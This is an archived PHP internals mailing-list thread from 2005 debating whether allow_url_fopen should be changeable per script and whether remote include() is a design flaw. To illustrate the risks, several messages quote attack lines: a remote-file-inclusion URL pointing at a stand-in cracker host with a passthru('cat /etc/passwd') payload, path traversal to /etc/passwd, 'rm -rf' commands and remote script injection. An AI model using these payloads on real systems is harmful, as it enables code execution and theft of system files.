allow_url_fopen should be INI_ALL

php.internals

Yasuo Ohgaki

21 years ago
As of PHP 4.3.4, allow_url_fopen defaults was changed from INI_ALL to INI_SYSTEM. This change should be reverted, because 1) INI_SYSTEM disables to patch vulnerable application by adding ini_set(). ini_set('allow_url_fopen', 0); // some dangerous include/require statement ini_set('allow_url_fopen', 1); // reenable if allow_url_fopen is required 2) programmers should be able to control if program allowed to access remote files or not and should be able to enable/disable allow_url_fopen _only_ where the feature is needed. allow_url_fopen should not be site wide configuration for security seasons. Preferred solution would be 1) change allow_url_fopen to INI_ALL 2) disable allow_url_fopen by default I would like to see these changes in PHP 5.1 and PHP 4.4, since this is security related changes.
-- Yasuo Ohgaki

Johannes Schlueter

21 years ago
Hi, On Sunday 26 June 2005 00:36, Yasuo Ohgaki wrote:
> I would like to see these changes in PHP 5.1 and PHP 4.4, since this > is security related changes.
Right, it's a security related thing: Only the administrator can decide wether any application should be able to do url_fopens or not. If an application needs it the administrator can check it and enable it by host/directory. johannes

Sara Golemon

21 years ago
> 1) INI_SYSTEM disables to patch vulnerable application by adding > ini_set(). > ini_set('allow_url_fopen', 0); > // some dangerous include/require statement > ini_set('allow_url_fopen', 1); // reenable if allow_url_fopen is > required >
$allowed_wrappers = array('php','file'); foreach(stream_get_wrappers() as $wrapper) if (!in_array($wrapper, $allowed_wrappers)) stream_wrapper_unregister($wrapper);
> 2) programmers should be able to control if program allowed to access > remote files or not and should be able to enable/disable allow_url_fopen > _only_ where the feature is needed. >
Already got it.
> allow_url_fopen should not be site wide configuration for security > seasons. >
allow_url_fopen is for site administrators to globally stop users from being stupid. Letting them override it makes as much sense as letting ini_set('safe_mode', false); work.
> I would like to see these changes in PHP 5.1 and PHP 4.4, since this > is security related changes. >
-1 From me. wrapper_unregister/wrapper_restore lets you do everything you want and then some without reducing the admin's control any. Yes, unregister/restore is PHP5 only. I'd personally be okay with merging this to 4.4 as the bulk of the support for it is already there internally, it's just adding a couple PHP_FUNCTION hooks to make it happen. That's up to the RM and general consensus though. -Sara

Derick Rethans

21 years ago
On Sun, 26 Jun 2005, Sara Golemon wrote:
> Yes, unregister/restore is PHP5 only. I'd personally be okay with merging > this to 4.4 as the bulk of the support for it is already there internally, > it's just adding a couple PHP_FUNCTION hooks to make it happen. That's up > to the RM and general consensus though.
4.3/4.4 is a bugfix only branch, so no new features... Derick
-- Derick Rethans http://derickrethans.nl | http://ez.no | http://xdebug.org

Yasuo Ohgaki

21 years ago
Derick Rethans wrote:
> On Sun, 26 Jun 2005, Sara Golemon wrote: > > >>Yes, unregister/restore is PHP5 only. I'd personally be okay with merging >>this to 4.4 as the bulk of the support for it is already there internally, >>it's just adding a couple PHP_FUNCTION hooks to make it happen. That's up >>to the RM and general consensus though. > > > 4.3/4.4 is a bugfix only branch, so no new features... > > Derick >
Looks like I missed some messages, what about the original request? - allow_url_fopen back to INI_ALL. - allow_url_fopen = Off by default.
-- Yasuo Ohgaki

Jani Taskinen

21 years ago
On Mon, 27 Jun 2005, Yasuo Ohgaki wrote:
> Derick Rethans wrote: >> On Sun, 26 Jun 2005, Sara Golemon wrote: >> >> >>> Yes, unregister/restore is PHP5 only. I'd personally be okay with merging >>> this to 4.4 as the bulk of the support for it is already there internally, >>> it's just adding a couple PHP_FUNCTION hooks to make it happen. That's up >>> to the RM and general consensus though. >> >> >> 4.3/4.4 is a bugfix only branch, so no new features... >> >> Derick >> > > Looks like I missed some messages, what about the original request? > > - allow_url_fopen back to INI_ALL.
That would be same as keeping it the way it is, ie. on-by-default. Allowing anybody simply change it in their script is not acceptable.
> - allow_url_fopen = Off by default.
That's very good idea. But only if it's kept INI_SYSTEM. --Jani

messju mohr

21 years ago
On Sun, Jun 26, 2005 at 09:02:23AM -0700, Sara Golemon wrote: [...]
> > allow_url_fopen should not be site wide configuration for security > > seasons. > > > allow_url_fopen is for site administrators to globally stop users from being > stupid.
stop them from being stupid by breaking their applications? now that's stupid! [...]

Sara Golemon

21 years ago
> It has been INI_ALL for a looong time until somebody decided to set it > to INI_SYSTEM. >
Actually it was "--enable-url-fopen" for a loooooong time until it became runtime configurable. It was *mistakenly* set to PHP_INI_ALL, but was supposed to have been PHP_INI_SYSTEM. (In line with prior behavior) As I posted earlier, url_fopens *can* already been temporarily disabled and reenabled using stream_wrapper_unregister() and stream_wrapper_restore(). There's no need to make the .ini setting magic by making it disablable one-way. However, as Derick pointed out php_admin_flag can be used to override the changability and keep it a system-wide setting on a site specific basis, so while there's absolutely no reason to make it PHP_INI_ALL, I can possibly buy into it providing the change happens in HEAD and nowhere else. There's no reason to break this setting in a stable branch, especially one as old as 4.3/4. -Sara P.S. - This was discussed at the time the change was reverted back to PHP_INI_SYSTEM.

Russell Nelson

21 years ago
Yasuo Ohgaki writes:
> 1) change allow_url_fopen to INI_ALL > 2) disable allow_url_fopen by default > > I would like to see these changes in PHP 5.1 and PHP 4.4, since this > is security related changes.
What problem are you trying to solve? Attacks against the very common misuse of: include "http://example.com/hostile.php" ? Or attacks against a graphics library: getimagesize("http://example.com/hostile.jpg") or XML parser: simplexml_load_file("http://example.com/hostile.xml") Derick Rethans writes:
> I disagree. With proper filtering, or using non-user-supplied > information there is no problem.
The problem is that naive programmers think there is no problem withOUT proper filtering. The sharp edges of 'include' are not visible enough. I'll bet you that people would not use 'include' and 'includeremotehostilecode' in the identical manner.
-- --My blog is at blog.russnelson.com | If you want to find Crynwr sells support for free software | PGPok | injustice in economic 521 Pleasant Valley Rd. | +1 315-323-1241 | affairs, look for the Potsdam, NY 13676-3213 | | hand of a legislator.

Rasmus Lerdorf

21 years ago
Russell Nelson wrote:
> Yasuo Ohgaki writes: > > 1) change allow_url_fopen to INI_ALL > > 2) disable allow_url_fopen by default > > > > I would like to see these changes in PHP 5.1 and PHP 4.4, since this > > is security related changes. > > What problem are you trying to solve? Attacks against the very common > misuse of: > include "http://example.com/hostile.php" ? > Or attacks against a graphics library: > getimagesize("http://example.com/hostile.jpg") > or XML parser: > simplexml_load_file("http://example.com/hostile.xml") > > Derick Rethans writes: > > I disagree. With proper filtering, or using non-user-supplied > > information there is no problem. > > The problem is that naive programmers think there is no problem > withOUT proper filtering. The sharp edges of 'include' are not > visible enough. I'll bet you that people would not use 'include' and > 'includeremotehostilecode' in the identical manner.
How is this any different from include "../../../../../etc/passwd"; Or system("rm -rf ."); Or echo $user_data; where $user_data contains: <script src="http://remote.host/foo.js"></script> There are a lot of places where unfiltered user input can cause some rather severe problems. I agree that we need to improve the overall level of security in PHP, but I am not sure that focusing on allow_url_fopen is very constructive. There are far far more web sites that have these other unfiltered user data issues than have url_fopen issues. -Rasmus

Stefan Esser

21 years ago
>I agree that we need to improve the overall level of security in PHP, >but I am not sure that focusing on allow_url_fopen is very constructive. > There are far far more web sites that have these other unfiltered user >data issues than have url_fopen issues. > >
I agree with Rasmus. Remote URL Includes are dieing out. They are not as common as they were some time ago. Most released advisories are SQL Injections nowadays and well maybe Russells next mail says: mysql_query() considered harmful. Ohh btw... Many remote url include holes nowadays are only exploitable with register_globals=On. And here again you may blame PHP because it allows an attacker to change the content of unitialized variables. (Which can also be achieved in C programs, by populating the stack with values you want through other code paths). But I blame the programmers for not initializing their variables correctly. Not filtering user input... Ohhh btw Russell, if you really consider include harmful, then simply install the Hardening-Patch for PHP and live with it. Several big hosters already use it, and it disallows any remote includes, beside other include tricks. Stefan

Russell Nelson

21 years ago
Stefan Esser writes:
> I agree with Rasmus. Remote URL Includes are dieing out.
That's not what Rasmus said.
> Most released advisories are SQL Injections nowadays and well maybe > Russells next mail says: mysql_query() considered harmful.
When the top Google result for 'php security flaw' returns mysql_query() instead of include(), I will agree that you are correct.
> Ohhh btw Russell, if you really consider include harmful, then simply > install the Hardening-Patch for PHP and live with it.
I'm not trying to fix this for me. Clearly there are at least a half-dozen things I could do to fix the problem for myself[!]. I believe that the problem's cause is the design of the language intrinsic. Therefore, fixing the problem for myself doesn't address the cause of the problem. It just prevents me from seeing the problem anymore. The problem is still there. [!] The first six: 1) rm -rf php 2) don't allow my users access to php. 3) audit all code written by my users. 4) turn allow_url_fopen off. 5) install Hardening. 6) write my own patch removing url_fopen capability from 'include'.
-- --My blog is at blog.russnelson.com | If you want to find Crynwr sells support for free software | PGPok | injustice in economic 521 Pleasant Valley Rd. | +1 315-323-1241 | affairs, look for the Potsdam, NY 13676-3213 | | hand of a legislator.

Al Baker

21 years ago
There is nothing wrong with fopen or include, and PHP isn't instrinically broken here. The only thing intrinsic about PHP that has anything to do with these security areas is how PHP is powerfully simple - lowering the bar for adoption. When you do this, you pick up newbie programmers who code up insecure applications. The bar also gets lowered for juvenile attackers who can easily browse and understand source code. Real software engineers - like those in the enterprise - know how to write secure code and look at how flexible PHP is and see an amazing tool to increase productivity. Turning PHP into a babysitter only hurts PHP, by restricting the enterprise / experienced developers, and curtailing innovation on how PHP is used. There are already solutions available for hosting companies that want a stop gap solution. I've even seen hosting companies that offer security consulting and can work with their customers to secure their site. Your "do this because Google proves it" argument only shows me that there are mainly educational articles on topics of security, and I would say that people are learning more about web security as time goes on - hence the high page rank of those articles. Using google to prove a point is both flawed and useless. I agree with Stefan's previous emails. Al On Tue, 2005-06-28 at 08:56 -0400, Russell Nelson wrote:

Russell Nelson

21 years ago
Al Baker writes:
> Turning PHP into a babysitter
Nothing you wrote explains why so many people have had this problem. Everything you write is an attempt to deny that the problem exists, deny that serious programmers have the problem, deny that the problem is due to a badly designed intrinsic, and deny that the intrinsic should be redesigned so that its sharp edges are either softened or made apparent. Graphical user interface designers understand the idea of an 'affordance'. An affordance is something whose operation is obvious simply by looking at it. An uparrow button moves something upwards. 'include' is an affordance. It obviously includes a local file. In essence, php's include is an apple with a razor blade hidden in it. In essence, allow_url_fopen==no wraps all fruit with a metal mesh so when you bite into them, your mouth is protected from the razor blade in the apple. Unfortunately, the only fruit which has ever been found to have razor blades in it are the apples.
> I agree with Stefan's previous emails.
Even the part where he agrees with something Rasmus didn't say?
-- --My blog is at blog.russnelson.com | If you want to find Crynwr sells support for free software | PGPok | injustice in economic 521 Pleasant Valley Rd. | +1 315-323-1241 | affairs, look for the Potsdam, NY 13676-3213 | | hand of a legislator.

Mike Robinson

21 years ago
Russell Nelson wrote:
> Graphical user interface designers understand the idea of an > 'affordance'. An affordance is something whose operation is > obvious simply by looking at it. An uparrow button moves > something upwards.
Uh, no. Affordances are the range of possible actions by a user, perceived affordances are the ranges of actions a user perceives is possible. You don't save people by filing down the sharp edges on a tool. You do it by telling them it's sharp. Best, Mike Robinson

Russell Nelson

21 years ago
Mike Robinson writes:
> Uh, no. Affordances are
Okay, I'm wrong about that. I don't need to push that analogy to make my point.
> You don't save people by filing down the sharp edges on a tool. You > do it by telling them it's sharp.
If you look at a tool, you can tell if it's sharp. If you look at include, you can't tell that it will happily, Pleasantly, Positively JOYFULLY execute hostile code if the attacker asks it to and you haven't told it not to. You know, I keep searching for an explanation of why so many people have had security problems with php. The answer is simple: the people in charge of php (sorry, Rasmus) think it's okay to create an insecure language construct without making it clear that it's insecure. Now, don't tell me that it's not insecure. Everyone here realizes (and I know this because they've told me) that programmers who are concerned about security will always check the values passed into 'include'. Why would they need to do that if 'include' wasn't insecure? If you have to read the man page to find out that 'include' will let some random user from a third-world country execute 'rm -rf /' on your server, then I propose that the problem is not that users didn't read the man page. The problem is with include, and it needs to be fixed.
-- --My blog is at blog.russnelson.com | If you want to find Crynwr sells support for free software | PGPok | injustice in economic 521 Pleasant Valley Rd. | +1 315-323-1241 | affairs, look for the Potsdam, NY 13676-3213 | | hand of a legislator.

Olivier Hill

21 years ago
On 6/28/05, Russell Nelson <nelson@crynwr.com> wrote:
> > If you have to read the man page to find out that 'include' will let > some random user from a third-world country execute 'rm -rf /' on your > server, then I propose that the problem is not that users didn't read > the man page. The problem is with include, and it needs to be fixed.
Are you suggesting that someone could wipe out your entire machine by passing a remote script that would system('rm -rf /');? This is not a PHP related problem. If the user is stupid enough to run his webserver as root and not setting proper privileges, he deserves to get his hard drive wiped out. Maybe we should consider Apache insecure as it allows you to run it as root if you like? Or maybe we should blame UN*X systems for having a root account? I sure do expect to have include() using the fopen wrapper. If it was not the case, people would start writing their own implementation of remote include file, opening a HTTP stream and then piping it to include(). IMHO, this thread is pointless. About any feature (good features!) of PHP might be used to hack a system. There is no way around a crapy written software (meaning the PHP script, and *not* the PHP runtime). There is no problems with the include() statement. The only thing missing, is a <blink> tag in the docs ;) Sincerely, Olivier

Gareth Ardron

21 years ago
Russell Nelson wrote:
>Now, don't tell me that it's not insecure. Everyone here realizes >(and I know this because they've told me) that programmers who are >concerned about security will always check the values passed into >'include'. Why would they need to do that if 'include' wasn't >insecure? >
Because it's one of - if not the first of - rules of web-based scripting, maybe even programming in general. You absolutly can't trust any input whatsoever and it must be validated. There are examples of this in every type of language that I care to think of, from buffer overflows in C/C++, SQL injections in well, just about any language and of course, system()/exec()/include()/etc in php/.

Al Baker

21 years ago
Parameter validation is a general thing done for security, whether that be if you're using a variable in an include, database credentials, connecting to a web service, etc. You need to make sure that those basic conditions have a highly controlled set of values, not only for security but to make sure the application works correctly. If doing this is unacceptable, that person shouldn't be writing code in the first place. The more I think about it, the more I realize that remote includes are amazingly powerful and you could build some highly distributed applications and have a very easy way to integrate them. Of course, you'd want to white list, and verify that all the piece parts were being used only on your servers. It'd definitely be an interesting application to design. The streams feature and API is also extremely powerful. Include does not let someone erase your harddrive, unless you have gone out of your way to make Apache run as root and open up all sorts of priviledges it shouldn't have, and doesn't have by default. This thread's pretty much pointless - I recommend you read up on web security in general. Al On Tue, 2005-06-28 at 23:58 -0400, Russell Nelson wrote:

Gareth Ardron

21 years ago
Russell Nelson wrote:
>Graphical user interface designers understand the idea of an >'affordance'. An affordance is something whose operation is obvious >simply by looking at it. An uparrow button moves something upwards. >'include' is an affordance. It obviously includes a local file. > >
To me, it's obvious that include includes a file - I see no obvious determination that that file is either local or remote in the "include" statement. Also, I think it's silly to make include into two functions as you suggest given that the ability to include a remote file depends on the fopen wrapper being enabled. If we were to follow this line of logic, we would have two functions for every current one function which can use the fopen wrappers. I think the documentation quite clearly states that /all/ functions that deal with files may deal with remote files if the fopen wrappers are enabled and that it's safest to make sure these wrappers are disabled in the php.ini/config file. I'm not speaking as somebody who's never seen the misuse of include() either - I had a server remotly exploited several months back after I "did a favour for a mate" and let him run some of his dodgy code on the machine. However, as I mention above, every single function that can use fopen wrappers can be exploited in this way. Now, if include is at the top of the currently-exploited-in-this-manner list of these functions, maybe the documentation needs to start using <blink>* tags to highlight things a bit more - this is an entirely seperate issue to the function being broken. Sadly, the (ab)use of this function and others using fopen are things I'm seeing are in-line with how I saw people abusing crap perl scripts 5-10 years back when that started to become really popular for web scripting. It's unfortunate, but there's a lot of muppets out there who think they can code - it shouldn't be anybodies job to shield them from the headaches they'll be unleashing upon themselves when that removes functionality or changes existing functionality for those of us who know how to use these functions appropriatly - after all, about the first thing you read in any book about any web scripting is you /do not/ accept unvalidated user input. * -- sorry, joke :-)

Russell Nelson

21 years ago
Gareth Ardron writes:
> To me, it's obvious that include includes a file - I see no obvious > determination that that file is either local or remote in the "include" > statement.
Can you name some other languages in which 'include' has such incredibly sharp edges? C? Python? Perl? BASH? Sed? Awk? Pascal? BASIC? Is there *any* precedent for a language in which 'include' will fetch hostile code from a remote server and execute it? If you're going to argue that experienced programmers will understand that 'include' will fetch code, you should explain how their experience helps them.
> Also, I think it's silly to make include into two functions as you > suggest given that the ability to include a remote file depends on the > fopen wrapper being enabled. If we were to follow this line of logic, we > would have two functions for every current one function which can use > the fopen wrappers.
That's not my line of logic, so following it takes you off the map.
> I think the documentation quite clearly states that /all/ functions that > deal with files may deal with remote files if the fopen wrappers are > enabled
Why did both of my users miss that documentation? The facts seem to be in opposition to your assertion that "the documentation quite clearly states".
> However, as I mention above, every single function that can use > fopen wrappers can be exploited in this way.
Not true. You would need to have *another* security flaw (a bug in jpg or xml parsing) for hostile jpg or xml content to gain privileges.
> It's unfortunate, but there's a lot of muppets out there who think > they can code
Now you're blaming the victim.
-- --My blog is at blog.russnelson.com | If you want to find Crynwr sells support for free software | PGPok | injustice in economic 521 Pleasant Valley Rd. | +1 315-323-1241 | affairs, look for the Potsdam, NY 13676-3213 | | hand of a legislator.

Gareth Ardron

21 years ago
Russell Nelson wrote:
> > I think the documentation quite clearly states that /all/ functions that > > deal with files may deal with remote files if the fopen wrappers are > > enabled > >Why did both of my users miss that documentation? The facts seem to >be in opposition to your assertion that "the documentation quite >clearly states". > >
I don't really feel that 2 users are a good indication of users as a whole, here - however, it still seems more of a documentation issue than a broken function issue to me. To break BC seems overkill for a function which is so useful to many of us working on systems distributed over many different servers.
> > It's unfortunate, but there's a lot of muppets out there who think > > they can code > >Now you're blaming the victim. >
Yes, I am. Ok, maybe part of that blame should lie in the documentation, but really it's a silly bug to fall for. To quote the page at the top of a google search for "php security flaw" (as you suggested searching for): "This is a common mistake by newbies. When PHP is including a page it doesn't care if the page is locally or on a remote server. Someone could easily change the URL to *http://www.unsecuresite.com/index.php?page=http://www.cracker.com/crack.php*. Imagine crack.php is containing this text: <?php passthru( "cat /etc/passwd" ); ?>" Indeed, the rest of that google search seems to be pulling up articles on past php security flaws now delt with or articles on how to improve the security of your php scripts - I'm hard-pushed to find a large number of specific articles dealing with the 'flaw' you mention. Regards,
-- Gareth Ardron

Nicolas Bérard Nault

21 years ago
PHP is not, in my opinion, idiot-proof. You're right on that point. Where our opinions differ is about what should be done about this. If a programmer is not capable of controlling an user input, why then should we trust him with anything ? A lot of other functions taking user input as arguments could potentially be as damaging as this one. I think if a programmer can't read a manual page about a so common function, he deserves what he has. Yes, I'm feeling a bit pre-conventionnal tonight. As for the `rm -rf /` case, I think it's the best exemple. Why should a hacker bother on exploiting an include stupidly called with user input unfiltered when he can get straight to an unprotected system($_GET['Whatever']). Are you suggesting that virtually _any_ function should be protected against stupidity ? What kind of language PHP would be after that ? On 6/29/05, Russell Nelson <nelson@crynwr.com> wrote:
> Gareth Ardron writes: > > To me, it's obvious that include includes a file - I see no obvious > > determination that that file is either local or remote in the "include" > > statement. > > Can you name some other languages in which 'include' has such > incredibly sharp edges? C? Python? Perl? BASH? Sed? Awk? Pascal? > BASIC? Is there *any* precedent for a language in which 'include' > will fetch hostile code from a remote server and execute it? If > you're going to argue that experienced programmers will understand > that 'include' will fetch code, you should explain how their > experience helps them. > > > Also, I think it's silly to make include into two functions as you > > suggest given that the ability to include a remote file depends on the > > fopen wrapper being enabled. If we were to follow this line of logic, we > > would have two functions for every current one function which can use > > the fopen wrappers. > > That's not my line of logic, so following it takes you off the map. > > > I think the documentation quite clearly states that /all/ functions that > > deal with files may deal with remote files if the fopen wrappers are > > enabled > > Why did both of my users miss that documentation? The facts seem to > be in opposition to your assertion that "the documentation quite > clearly states". > > > However, as I mention above, every single function that can use > > fopen wrappers can be exploited in this way. > > Not true. You would need to have *another* security flaw (a bug in > jpg or xml parsing) for hostile jpg or xml content to gain privileges. > > > It's unfortunate, but there's a lot of muppets out there who think > > they can code > > Now you're blaming the victim. > > -- > --My blog is at blog.russnelson.com | If you want to find > Crynwr sells support for free software | PGPok | injustice in economic > 521 Pleasant Valley Rd. | +1 315-323-1241 | affairs, look for the > Potsdam, NY 13676-3213 | | hand of a legislator. > > -- > PHP Internals - PHP Runtime Development Mailing List > To unsubscribe, visit: http://www.php.net/unsub.php > >
-- Nicolas Bérard Nault (nicobn@gmail.com) "Maybe nature is fundamentally ugly, chaotic and complicated. But if it's like that, then I want out." -- Steven Weinberg (prix Nobel de physique, 1979).

Rasmus Lerdorf

21 years ago
Russell Nelson wrote:
> Stefan Esser writes: > > I agree with Rasmus. Remote URL Includes are dieing out. > > That's not what Rasmus said. > > > Most released advisories are SQL Injections nowadays and well maybe > > Russells next mail says: mysql_query() considered harmful. > > When the top Google result for 'php security flaw' returns > mysql_query() instead of include(), I will agree that you are correct.
I am not sure a Google search is a very good barometer here. I'd like to think that we are pretty good at staying on top of the security problems reported in PHP-related applications and as such have a pretty good idea of what the top problems are. I rarely see these url_fopen issues anymore. Perhaps 2 years ago, but today it really doesn't seem like it is even in the top 10 PHP security problems. If you could order your serach results by date I bet you'd see that a number of these entries are quite old. -Rasmus

Russell Nelson

21 years ago
Rasmus Lerdorf writes:
> Russell Nelson wrote: > > When the top Google result for 'php security flaw' returns > > mysql_query() instead of include(), I will agree that you are correct. > > I am not sure a Google search is a very good barometer here. > ... today it really doesn't seem like it is even in the top 10 PHP > security problems.
Essentially, you're saying that Google doesn't do a good job at finding pages people would be interested in reading. That's a strong claim to make.
-- --My blog is at blog.russnelson.com | If you want to find Crynwr sells support for free software | PGPok | injustice in economic 521 Pleasant Valley Rd. | +1 315-323-1241 | affairs, look for the Potsdam, NY 13676-3213 | | hand of a legislator.

Jani Taskinen

21 years ago
Please troll, do you go away if I close my eyes? --Jani On Wed, 29 Jun 2005, Russell Nelson wrote:

Unnamed Person

21 years ago
Jani Taskinen <sniper@iki.fi> writes:
> Please troll, do you go away if I close my eyes?
That's not fair. Russell is providing strong arguments and rebuttals for every point. You may not agree with his points, but what he's doing is not trolling. This discussion seems to have strong backing on both sides of the issue. There has been an argument made during this discussion that the include() construct does exactly as it is documented to do, and therefore the security concerns are not warranted. I have a bit of a problem with that argument: The PHP documentation is really good -- some of the best of all the open-source projects I've seen -- but there is so much documentation (and so many capabilities of the language) that expecting people to read it all is unreasonable. PHP is sufficiently like C (a "good thing", I believe) that experienced C developers can write code in PHP, and reference the documentation when something doesn't work. I've been developing PHP code for about 5 years, and have been a software engineer working with many languages (but primarily C) for the past 25 years. Although I validate all user input in PHP so I've never been bitten by this problem, I was surprised when this topic started, that include() could access remote files. Yes, I probably knew it 5 years ago, but include() has a basic meaning in all other languages I've used, and I would have expected it to work the same way in PHP. Someone suggested that if include() were insecure, then maybe system() is as well. I think I have to disagree with the comparison. Anyone using system() in any language expects the potential for nasty effects if the parameter is nasty, so it would be clear that the developer needs to be extremely careful. If include() could include only local files as is done in other languages (and as many -- most? -- developers would expect), then it would be much less dangerous. Derrell

Wez Furlong

21 years ago
I think the point is that we're not going to change include() any time soon, and that this thread is not a productive use of everyones time. --Wez. On 6/29/05, Derrell.Lipman@unwireduniverse.com <Derrell.Lipman@unwireduniverse.com> wrote:

Sebastian Mendel

21 years ago
Derrell.Lipman@UnwiredUniverse.com wrote:
> Jani Taskinen <sniper@iki.fi> writes: > >> Please troll, do you go away if I close my eyes? > > That's not fair. Russell is providing strong arguments and rebuttals for > every point. You may not agree with his points, but what he's doing is not > trolling. This discussion seems to have strong backing on both sides of the > issue.
i agree full! isnt it possible to add a check to the include*()/require*() statement that checks the parameter for existence in the superglobal $_REQUEST if the same value is found in $_REQUEST it could raise a WARNING, and notice the user about this security-leak.
-- Sebastian Mendel www.sebastianmendel.de www.sf.net/projects/phpdatetime | www.sf.net/projects/phptimesheet

Shaun Thomas

21 years ago
Derrell.Lipman@UnwiredUniverse.com wrote:
>> Please troll, do you go away if I close my eyes? > > That's not fair. Russell is providing strong arguments and rebuttals > for every point. You may not agree with his points, but what he's > doing is not trolling. This discussion seems to have strong backing > on both sides of the issue.
While I'd like to agree with this, all I see when reading the group is a week-long simmering flame war that boils down to "OMGWTFBBQ!!!!11!11one inc1ud3 is teh 5pl0i7z!!!1111" Rasmus says "These security articles are pretty old," and gets back the response of "yeah, well you're implying Google doesn't return good results!" This is trollish behavior any way you slice it. Should exec, system, and shell_exec filter commands that could be harmful? Should they make sure nobody runs "rm -rf /" on your server because somebody did a system($foo)? PHP gives all system administrators the tools they need; whether it be safe_mode, safe_mode_exec_dir, open_basedir, disable_functions, allow_url_fopen, and other methods of locking down a server to avoid accidental or malicious damage. For what it's worth, I agree that include should have a method of disabling fetching remote files. We actually patched PHP to this effect after one of our users did include($foo) and got us hacked. We still allow_url_fopen for stuff like RSS feeds, but none of this "include and evaluate" crap for us. We run a hosting service filled with users ignorant of the true power at their fingertips, people who either don't read the manual or misunderstand it. PHP is a programming language used by non-programmers, and *that* is what makes it dangerous. Why do I say this? People get attached to a method for doing something. Some of our users were *convinced* they had to execute remote code from another site (which we also host; they didn't seem to understand the idea of including without http://). So what did they do? $bar = file_get_contents($foo); eval($bar); Does PHP have to stop this, too? As it turns out, our particular combination of safe_mode_* elements means users only get access to their own files, can only execute binaries we allow, and we explicitly disable any function that returns system information, provides shared resources, or is capable of modifying permissions. If one of our users is sloppy, only their own files are at risk, and we have backups in any case. Railing on for days at a time at how include is insecure is not news, and accomplishes nothing. The main core developers have had their say, and they're not going to change their minds through constant harassment; that's just not human nature. That said, I humbly ask we add allow_url_include to accompany allow_url_fopen, since some desire only to disable the former. We got what we wanted by patching the source, so do as you will. ^_^
-- Shaun M. Thomas INN Database Administrator Phone: (309) 743-0812 Fax : (309) 743-0830 Email: sthomas@townnews.com Web : www.townnews.com

Russell Nelson

21 years ago
Jani Taskinen writes:
> Please troll, do you go away if I close my eyes?
No, in fact, I don't. I'm not trolling. I'm pointing to factual evidence that your replies cannot explain. Lots of people have said "Oh, well, just turn off that feature, or tell your users not to use it, or stop using php." If I'm trolling, then they're trolling. I realize that it's frustrating, difficult and annoying to be told that you're wrong. But it's not me that's telling you that. It's the facts. I'm just pointing out the facts. If I stop, the facts will still remain. If you close your eyes, the facts will still remain.
-- --My blog is at blog.russnelson.com | If you want to find Crynwr sells support for free software | PGPok | injustice in economic 521 Pleasant Valley Rd. | +1 315-323-1241 | affairs, look for the Potsdam, NY 13676-3213 | | hand of a legislator.

Russell Nelson

21 years ago
Rasmus Lerdorf writes:
> How is this any different from > > include "../../../../../etc/passwd";
That doesn't let you execute hostile content with local privs.
> There are a lot of places where unfiltered user input can cause some > rather severe problems.
I agree! And yet .... there is plenty of evidence that *include* among all the language intrinsics is a problem. 'system' has obvious sharp edges. 'include' does not. I'm asking you to make the sharp edges obvious or else blunt them. Renaming 'include' to 'includeremotesecurityhole' is one way. Removing the URL fopening ability from 'include' and adding a new intrinsic called 'includeremote' would do it too. By the way, remember the 'Open Source' logo contest that you ran for us? We printed it up on t-shirts for FISL 6.0 a month ago. I'll be happy to send you one if you want. Specify yellow, black, or black long-sleeved.
-- --My blog is at blog.russnelson.com | If you want to find Crynwr sells support for free software | PGPok | injustice in economic 521 Pleasant Valley Rd. | +1 315-323-1241 | affairs, look for the Potsdam, NY 13676-3213 | | hand of a legislator.